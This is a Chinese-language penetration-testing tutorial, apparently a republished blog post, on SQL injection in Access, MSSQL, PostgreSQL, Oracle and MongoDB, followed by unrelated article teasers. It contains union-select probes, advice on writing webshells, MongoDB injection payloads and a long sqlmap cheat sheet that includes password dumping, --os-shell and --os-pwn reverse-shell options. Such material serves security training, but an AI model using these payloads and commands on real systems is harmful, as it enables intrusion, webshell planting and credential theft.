15、SQL注入之Oracel,MongoDB等注入

news2024/11/23 21:19:45

这里写目录标题

    • 引言
    • 补充上篇文章Json注入案例分析
  • 简要学习各种数据库的注入特点
      • Access数据库
      • Mssql数据库
      • PostgreSQL数据库
      • Oracle数据库
      • MongoDB数据库
    • 简要学习各种注入工具的使用指南

引言

mysql的注入方法跟其它的数据库注入方法是差不多的,是可以举一反三的,基本上就是注入语句、特点不一样,其它的基本上就是一样的。除了access外
在这里插入图片描述

除了mysql之外,其它数据库都自带信息系统表,这个表里面自带数据库的表名、列名信息,我们可以通过查看它获取当前的表名、列名信息。

我们可以查找到数据库里面存储的账号信息,获取后台地址登录,在后台里面再去获取shell(可能会失败)。

如果是高权限的话,直接进入,去进行相应的操作就可以了。除了access之外都是这个思路。

下面这些是在市面上比较默认的常见数据库类型:
Access、mysql、mssql、mongoDB、postgresgl、sqlite、oracle、sybase等

补充上篇文章Json注入案例分析

我们需要测试注入的话,直接修改键值,在双引号里面去进行测试

a=1&b=2&c=3
{
“a”:“1”
“b”:“2”
“c”:"3
}

a=1 and 1=1&b=2&c=3
{
“a”:“1 and 1=1”
“b”:“2”
“c”:"3
}

json就是跟我们平时的数值表达形式不一样而已,该怎么测还是怎么测。

json要不要闭合,是要看后台SQL语句的写法,跟键值的双引号没有什么关系

简要学习各种数据库的注入特点

数据库架构组成,数据库高权限操作

Access数据库

除了access外,其它的数据库组成架构大部分是大同小异的,access在市面上已经很少了,大部分都是后面的那些数据库类型。

access一般跟asp脚本搭建组合在一起,是一种常见数据库,现在asp的网站已经很少了。

access
表名
列名
数据
mysql mssql等
数据库名
表名
列名
数据
access比其它数据库是要低一个等级的,access搭建的网站,它的数据库是保存在网站源码下面,一个mdb结尾的数据库。
在这里插入图片描述
如果换一个网站的话,两个数据库是互不相干的,没有任何的一个关系。
因为他们两个数据库是独立存在的,不和其它网站相关,没有关联性,它们不在一起,自己的网站自己管。这就造成了在注入方面的不同,我们在注入的时候,不需要获取数据库名称,access没有文件读写功能,它的数据库本身就没有借助能够进行读写的操作,我们在注入的时候,就不要考虑进行文件读写的操作。

查看其它类型的数据库有没有相应的功能,可以通过搜索引擎搜索关于数据库的相关资料,看看有没有类似功能。

不同的数据库,它的注入语句、功能上会有点小区别。因为每个数据库它的内置功能会有点不一样。

搭建靶场环境是很麻烦的,搞个mysql就足够了;access不用搭建,自己在网上找个asp的网站都可以测试,
靶场全通关之后,在实战当中需要其它知识点来辅合的话,会更好一点。

工具都会有一些优缺点的,工作的时候,发现工具会有误报,这都很正常

先判断字段点
1 order by 1,2,3,4
1 order by 1,2,3,4,5
页面出现不正常,说明是4。

access就是一个单纯的数据库,它只有数据,它没有数据库名、数据库版本号、information表、操作系统查询的地方,因为它没有这些功能,所以它很简单,直接查询数据就完事了。

其实我们对access注入的时候,属于暴力猜解,靠字典跑;
如果它有就直接返回正确的页面,如果它没有就会返回不同的页面。
所以我们在注入获取数据的时候,直接靠猜就可以了,猜测有表名
1 union select 1,2,3,4 from admin
如果有这个表,就会返回正常的页面,如果没有就会返回不同的页面。
如果猜测不出来,那只能够用工具和脚本去跑这个数据
access的攻击方式只有猜数据,如果猜不到就GG,不用去想文件读写,它没有这个功能
除了access外,其它的数据库都可以想文件操作这个功能,看条件是不是高权限。

Mssql数据库

其实注入工具是我们渗透测试思路的体现
Pangolin是一个老工具,它的功能很多都已经过时了,现在已经很少有人使用这个工具了

每个数据库在注入的时候,它的方式是不一样的,但是大体上有些是一样的
每个数据库它支持的功能有些是不一样的,所以我们单独学习每个数据库,这是很耗时间的,因为它很多地方一样,就是有部分不一样,你只要记住这个情况就可以了,你不要搞的很明白,到时候你不会在查下资料就完事了,不要去精益求精,没有必要这样去了解。

mssql最高权限是sysadmin,简称sys。Drivers可以获取电脑下面有那些盘符。

一句话木马写入失败的原因:
1、有防护软件;
2、权限问题,设置了目录的可读写,这个目录只允许旧的文件进来,不允许新的文件进来;
3、内置功能有问题,把功能给禁用掉,就会造成功能在写入的时候失败,这个原因是最多的。

执行服务器命令失败,可以切换不同的组件,挨个去尝试。只要能够执行服务器的命令,我们就可以写入一句话木马
echo ‘x’ >c:\1.txt
只要写入一句话木马,我们就可以连接到网站,把网站的文件和数据copy下来
读写命令,type c:\Inetpub\key.txt
各个数据库之间的注入语句,大体上是差不多的

其实mssql和mysql注入大部分是一样的,首先判断是什么数据库,完了之后获取一些信息,像数据库名、数据库版本这些。接下来就是手工语句了,这些手工语句比较复杂,我们也没有必要就是去学习和了解
我们在碰上注入点了,要么是用工具,要么是把手工语句给粘上去就完事了,没什么问题的
手工语句比较复杂,也没有必要去了解的那么深入,我们毕竟不是搞数据库的技术人员,只要得到想要的东西就完事了
mysql很好理解,通过它的学习可以推断出其它数据库的注入,手工注入理解之后,方便后期根据网站情况,在工具注入不清楚的情况下,配合手工
数据库的权限将决定我们下面的功能是否能够执行,权限高一般是都能够执行的,不能执行就是有些东西删除了或者是有防护软件
数据库的权限将决定我们后面渗透的思路,高权限就可以执行更多的功能,低权限只能老老实实获取权限一步一步的来

PostgreSQL数据库

高权限执行的能力:读取文件、执行命令、写入文件
mysql其实也有执行命令,只是在注入里面无法调用,基本上高权限能做的事情,大部分是差不多的,都能够拿到webshell。
直接写入文件,获取webshell,高权限的功能对我们都是有帮助的
不需要特意去学习语句是怎么写的,你学了mysql很多东西都很好理解

不同的数据库,它获取信息的注入语句是有点不一样的,如果你不知道这个网站使用的是什么类型的数据库,就一个劲的用mysql的注入语句去获取信息,那是无法获取到的,所以我们在判断出注入点的时候,你也得知道这个网站它使用的数据库是什么类型的,这样你才能够根据相关数据库的注入语句去获取信息。

注入工具一旦误报的话,那么接下来的操作基本上就会失败,因为它数据库判断错误的话,后面那些功能都会失败

我们在使用sqlmap去测试注入点的时候,如果我们不能够百分百确定数据库的类型,就不要去指定它,因为不同的数据库,它判断数据库存不存在注入点的语句是不一样的,指定了错误的数据库类型,会导致map误报,从而影响我们后续数据的获取。map判断注入点是什么类型的数据库的语句是非常简洁的,如果它一开始就没有告诉你是什么类型的数据库,那么这个地方可能不存在注入点,没有必要为节省map发出的数据包,而去一开始指定数据库的类型。就算有waf拦截,如果你绕不过去,有注入点你也利用不了,如果绕的过去,不差map去判断是什么类型的数据库
map报这个地方没有注入点,你后面其实就没有必要再去看了,因为肯定没有,它有注入点一开始就会告诉你。

map的输入语句比我们常用的注入语句会有复杂写法,是个兼容性写法,这样的写法很多东西都能够兼容

基本操作语句:
-u       #注入点
-f       #指纹判断数据库类型
-b       #获取数据库版本信息
-p       #指定可测试的参数(?page=1&id=2 -p "page,id”)
-D ""    #指定数据库名
-T ""       #指定表名
-C ""       #指定字段
-s ""        #保存注入过程到一个文件,还可中断,下次恢复在注入(保存: -s "xx.log"       恢复:-s "xx.log" --resume)
--leve1=(1-5)         #要执行的测试水平等级,默认为1
--risk=(0-3)          #测试执行的风险等级,默认为1
--time-sec=(2,5)      #延迟响应,默认为5
--data                #通过POST发送数据
--columns            #列出字段
--current-user        #获取当前用户名称
--current-db          #获取当前数据库名称
--users               #列数据库所有用户
--passwords           #数据库用户所有密码
--privileges          #查看用户权限(--privileges -U root)
-U                    #指定数据库用户
--dbs                 #列出所有数据库
--tables -D ""         #列出指定数据库中的表
--columns -T "user" -D "mysql" #列出mysql数据库中的user表的所有字段
-dump-a11            #列出所有数据库所有表
--exclude-sysdbs      #只列出用户自己新建的数据库和表
--dump -T ""-D "" -C ""     #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname)
--dump -T ""-D "" --start 2 --top 4  #列出指定数据库的表的2-4字段的数据
--dbms           #指定数据库(MysQL、Oracle、PostgresqL、Microsoft SQLServer、Microsoft Access、sQlite、Firebird、Sybase、SAP MaxDB)
--os             #指定系统(Linux,windows)
-v             #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容。
--privileges     #查看权限
-is-dba          #是否是数据库管理员
--roles          #枚举数据库用户角色
--udf-inject     #导入用户自定义函数(获取系统权限)
--union-check      #是否支持union 注入
--union-cols       #union 查询表记录
--union-test       #union 语句测试
--union-use        #采用union 注入
--union-tech orderby      #union配合order by
--data ""          #POST方式提交数据(--data "page=1&id=2")
--cookie "用;号分开"         #cookie注入(--cookies="PHPSESSID-mvijocbglg6pi463rlgk1e4v52; security=low")
--referer ""        #使用referer欺骗(--referer “http://") 
--user-agent ""        #自定义user-agent
--proxy "http://127.0.0.1:8118”   #代理注入
--string=""             #指定关键词,字符串匹配
--threads             #采用多线程(--threads 3)
--sql-she11           #执行指定sql命令
--sql-query         #执行指定的sgl语句(--sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT O,1" )
--file-read        #读取指定文件
--file-write       #写入本地文件(--file-write /test/test.txt file-dest /var/www/htm1/1txt;将本地的test.txt文件写入到目标的1.txt)
--file-dest         #要写入的文件绝对路径
--os-cmd=id         #执行系统命令
--os-she11          #系统交互she11
--os-pwn            #反单shell(--os-pwn --msf-path=/opt/framework/msf3/)
--msf-path=          #matesploit绝对路径(--msf-
path=/opt/framework/msf3/)
--os-smbrelay          #
--os-bof              #
--reg-read            #卖取win系统注册表
-priv-esc             #
--time-sec=            #延迟设置 默认--time-sec=5  为5秒 -p "user-agent"
--user-agent "sqlmap/0.7rc1 (http;//sqlmap.sourceforge.net)"        #指定user-aqent注入
-eta                        #盲注 /pentest/database/sqlmap/txt/common-columns.txt     字段字典
common-outputs.txt
common-tables.txt          表字典
keywords.txt
oracle-default-passwords.txt
user-agents.txt
wordlist.txt
常用语句:
1./sqlmappy-u http://www.xxxxx.com/testphp?p=2 -f -b --current-user --current-db --users --passwords --dbs -v 0 

map这些语法不需要我们去记住,你用的多,用的几次,你就记住了,不需要背
常碰到注入点,多用几次,后面基本上就差不多了
是高权限的话,就可以用map的shell交互的命令,如果不是,想都不要想

Oracle数据库

oracle在高权限注入的情况下,没有文件写入,这是数据库决定的,因为oracle数据库没有文件写入的功能
大体上来说,每个数据库在注入的方向来说,是一样的,只是有少许的区别,但是这个区别不会影响到我们对网站数据的读取

MongoDB数据库

mongodb通常是和python搭建web的应用型数据库
其实用工具和手工是差不多的,完全可以把工具抓不到的,然后用手工传上去
mongodb是以键值对形式进行查询的,类似于我们的json
select * from news ({‘id’:‘1’})
数据提交方式也不一样

NoSQLAttack工具下载地址:https://github.com/youngyangyang04/NoSQLAttack
需要过滤’})
构造简单的链接测试回显:/new_list.php?id=1’});return ({title:1,content:‘2
爆库:/new_list.php?id=1’});return (title:tojson(db.getCollectionNames()),content:‘1
db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。并且mongodb函数区分大小写
爆表:/new_list.php?id=1’});return (title:tojson(db.getCollectionNames()),content:‘1 查询有的集合 (集合相当于mysql的表)
注入语句写法不一样,会有’});语句干扰
注入得出的结果也会以列表的形式进行表达,因为我们无法改变代码的输出格式,我们只能改变自己的一个输出格式的问题,而输出的格式正好可以用语法去修改

mongodb其实是数据库语句的组合上面会有问题,还有输入上面会有问题,输入格式上面不是我们重要讲的
mongodb它的条件,它的值,在提交数据库注入查询的时候,它是列表形式查询的,键值键名提交进去的,所以我们在注入的时候要考虑到我们的语句是要写到列表里面去,要注入的话,要闭合前面后面的列表,其实就是有符号干扰我们
目前市面上的工具,很少有工具能支持mongodb
sqlmap不仅支持面广,而且它上面有很多自定义的功能,所以这个工具的功能是更加强大的

简要学习各种注入工具的使用指南

熟悉工具的支持库(支持的数据库类型),注入模式(参数类型和提交方式),优缺点等
Sqlmap,NoSQLAttack,Pangolin等

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/668774.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Pandas】pandas用法解析(下)

一、生成数据表 二、数据表信息查看 三、数据表清洗 四、数据预处理 ———————————————— 目录 五、数据提取 1.按索引提取单行的数值 2.按索引提取区域行数值 3.重设索引 4.设置日期为索引 5.提取4日之前的所有数据 6.使用iloc按位置区域提取数据 7…

elasticsearch8.5.2 报错(SearchPhaseExecutionException: all shards failed)

一、问题 logstash突然无法对elasticsearch服务进行读写操作了,提示elasticsearch的地址有问题,检测elasticsearch发现端口存在。查看日志发现有报错。 二、问题原因 有一些索引的数据损坏了 三、解决 官网文档:https://www.elastic.co/…

记录HBuilderX将uniapp项目运行到华为手机

解压并运行刚从官网下载的HBuilder X,新建一个项目 一、电脑下载【华为手机助手】并安装 下载地址: https://consumer.huawei.com/cn/support/hisuite/ 二、华为手机设置 1、手机准备:华为(没有插入手机卡)&#x…

《网络安全》0-100 零基础

网络安全基础 什么是网络安全 网络安全是指保护计算机网络不受未经授权的攻击、损伤、窃取或破坏的一系列措施。它包括保护计算机系统、网络和数据的完整性、可用性和保密性,以及防止未经授权的访问、使用、披露、破坏、修改、记录或丢失数据。 网络安全是保护信息…

探秘华为交换机:端口类型全解析

在下列情况下,判断的一般方法是什么? 1.交换机某个端口下的用户丢包。 2.交换机下的所有用户都在丢失数据包。 3、用户反映网速缓慢 检查网络电缆,重做水晶头,检查用户的计算机网卡,并重新启动交换机。 这几种做法都能…

在 PyTorch 中实现可解释的神经网络模型

动动发财的小手,点个赞吧! 目的 深度学习系统缺乏可解释性对建立人类信任构成了重大挑战。这些模型的复杂性使人类几乎不可能理解其决策背后的根本原因。 ❝ 深度学习系统缺乏可解释性阻碍了人类的信任。 ❞ 为了解决这个问题,研究人员一直在…

chatgpt赋能python:Python中算法的几种描述方法

Python中算法的几种描述方法 在Python中,我们可以采用不同的方法来描述和实现不同的算法。本文将介绍三种常见的描述算法的方法,希望能够帮助读者更好地理解算法和Python编程。 方法一:自然语言描述 自然语言是我们最熟悉的方式来描述算法…

三层交换器与可配置的二层交换机通信配置(华为交换机)

#三层交换器与可配置的二层交换机通信配置 三层交换机配置 #进入系统视图 <Huawei>system-view #关闭系统提示信息 [Huawei]undo info-center enable #启动DHCP功能 [Huawei]dhcp enable #创建vlan 10 并配置 vlanif 地址 作为二层交换机默认网关 [Huawei]vlan 10 …

nodejs高版本降为低版本的详细解决方案

部分老旧项目需要使用低版本的node,网上很多是无效的,高版本无法直接安装低版本node,但是低版本nodejs可以安装部分高版本node,从而达到升级效果,下面这篇文章主要给大家介绍了关于nodejs高版本降为低版本的详细解决方案,需要的朋友可以参考下 1.首先通过控制面板应用卸载当前环…

如何使用 Swagger2 自动生成 RESTful API 文档

如何使用 Swagger2 自动生成 RESTful API 文档 在开发 RESTful API 的过程中&#xff0c;文档是非常重要的一部分。它可以帮助开发者了解 API 的功能和使用方法&#xff0c;同时也是接口设计和测试的重要依据。而手动编写 API 文档往往比较耗时且容易出错&#xff0c;这时候 S…

【kubernetes】部署controller-manager与kube-scheduler

前言:二进制部署kubernetes集群在企业应用中扮演着非常重要的角色。无论是集群升级,还是证书设置有效期都非常方便,也是从事云原生相关工作从入门到精通不得不迈过的坎。通过本系列文章,你将从虚拟机准备开始,到使用二进制方式从零到一搭建起安全稳定的高可用kubernetes集…

NodeJS 配置HTTPS协议证书⑩⑤

文章目录 ✨文章有误请指正&#xff0c;如果觉得对你有用&#xff0c;请点三连一波&#xff0c;蟹蟹支持&#x1f618;前言HTTPS ❓配置证书工具 CertbotCertbot 使用步骤总结 ✨文章有误请指正&#xff0c;如果觉得对你有用&#xff0c;请点三连一波&#xff0c;蟹蟹支持&…

chatgpt赋能python:Python描述符详解

Python 描述符详解 Python 中的描述符是一种机制&#xff0c;用于控制属性&#xff08;attribute&#xff09;的访问。通过描述符&#xff0c;我们可以在属性被访问或者修改时加入特定的逻辑。 描述符是一个类&#xff0c;其中至少定义了以下三个方法&#xff1a; __get__(s…

docker入门手册

目录 1. docker基础 1. 1 docker介绍 1.2 docker架构与核心组件 1.3 docker安装和卸载 安装 卸载 docker加速器设置 -> 可选 1.4 权限问题 1.5 docker服务相关操作命令 2. docker镜像管理 2.1 镜像的搜索/获取/查看 镜像搜索 2.2 镜像别名/删除 2.3 镜像的导入…

Apache Atlas产品调研

元数据产品调研 &#x1f4a1; 思考可以构成一座桥&#xff0c;让我们通向新知识。—— 普朗克 一、什么是元数据 元数据是关于数据的数据&#xff0c;是为了描述数据的相关信息而存在的数据。 元数据是用数据管理数据&#xff0c;是快速查找数据、精确定位数据、准确理解数据…

CSS3-三大特性-继承性、层叠性、优先级

CSS三大特性 1 继承性 2 层叠性 3 优先级 1 继承性 特性&#xff1a;子元素有默认继承父元素样式的特点&#xff08;子承父业&#xff09; 可以继承的常见属性&#xff1a; 1 color 2 font-style、font-weight、font-size、font-family 3 text-indent、text-align 4 line-heigh…

io.netty学习(七)字节缓冲区 ByteBuf(下)

目录 前言 实现原理 ByteBuf 的使用案例 ByteBuf 的3种使用模式 堆缓冲模式 直接缓冲区模式 复合缓冲区模式 总结 前言 在了解了 ByteBuffer 的原理之后&#xff0c;再来理解Netty 的 ByteBuf 就比较简单了。 ByteBuf 是 Netty 框架封装的数据缓冲区&#xff0c;区别…

第5章 函数式编程

第5章 函数式编程 5.1 函数式编程思想 在之前的学习中&#xff0c;我们一直学习的就是面向对象编程&#xff0c;所以解决问题都是按照面向对象的方式来处理的。比如用户登陆&#xff0c;但是接下来&#xff0c;我们会学习函数式编程&#xff0c;采用函数式编程的思路来解决问…

【Python 随练】阶乘累加计算

题目&#xff1a; 求 12!3!…20!的和。 简介&#xff1a; 在本篇博客中&#xff0c;我们将解决一个数学问题&#xff1a;计算阶乘序列的和。我们将介绍阶乘的概念&#xff0c;并提供一个完整的代码示例来计算给定范围内阶乘数的和。 问题分析&#xff1a; 我们需要计算从1…

基于“遥感+”融合技术在碳储量、碳收支、碳循环等多领域监测与模拟

卫星遥感具有客观、连续、稳定、大范围、重复观测的优点&#xff0c;已成为监测全球碳盘查不可或缺的技术手段&#xff0c;卫星遥感也正在成为新一代 、国际认可的全球碳核查方法。本内容目的就是梳理碳中和与碳达峰对卫星遥感的现实需求&#xff0c;系统总结遥感技术在生态系统…